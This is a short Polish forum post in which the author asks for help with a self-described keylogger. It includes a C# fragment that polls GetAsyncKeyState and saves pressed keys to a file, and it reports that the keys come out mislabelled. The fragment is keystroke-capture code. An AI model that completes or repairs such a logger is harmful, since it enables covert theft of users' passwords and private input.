Przy użyciu GetAsyncKeyState oraz (Key) w moim keylogerze mam zmieniony układ klawiatury np. pod Q wypisuje mi NumPad7 itd. Pomożecie? Jak będzie potrzeba podeślę cały kod.
private void Window_KeyDown(object sender, KeyEventArgs e)
{
if (condition == true)
{
int key;
int keyState;
for (key = 0; key < 128; key++)
{
keyState = GetAsyncKeyState(key);
if (keyState == -32767 || keyState == 1)
{
Save_to_file(key);
label.Content = (Key)key;
}
}
}
}